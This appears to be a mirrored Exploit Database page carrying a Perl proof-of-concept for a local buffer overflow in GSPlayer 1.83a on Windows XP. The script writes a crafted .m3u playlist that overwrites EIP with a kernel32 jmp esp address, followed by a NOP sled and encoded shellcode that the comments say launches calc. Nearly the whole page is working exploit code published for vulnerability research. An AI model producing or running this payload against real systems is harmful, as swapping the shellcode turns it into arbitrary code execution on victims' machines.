GSPlayer 1.83a Win32 Release – Local Buffer Overflow

• Exploit Database
• 12 阅读

• 作者： moigai
  日期： 2010-11-04
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15417/

• # Exploit Title: GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability
  # Date: 2010/11/04
  # Author: moigai
  # e-mail: again.liu@gmail.com
  # Software Link: http://www.vector.co.jp/download/file/win95/art/fh296344.html
  # Version: 1.83a Win32 Release
  # Tested on: Windows XP SP3 En (VM)
  
  my $file = "GSPlayer.m3u";
  
  my $junk1 = "\x41" x 257;
  
  #jmp esp from kernel32.dll
  my $eip = pack('V',0x7C86467B);
  my $junk2 = "Ai7Ai8Ai";
  my $nop = "\x90" x 30;
  
  #executes calc
  my $shell = 
  "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
  "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
  "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
  "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
  "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
  "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
  "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
  "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
  "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
  "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
  "\x7f\xe8\x7b\xca";
  
  my $payload = $junk1 . $eip . $junk2 . $nop . $shell;
  my $rest = "\x42" x (4064 - length($payload));
  $payload = $payload . $rest . ".mp3";
  
  print "\n[+] Creating m3u file\n";
  open(FILE, ">$file");
  print FILE $payload;
  close(FILE);
  print "[+] File " . $file . " created\n";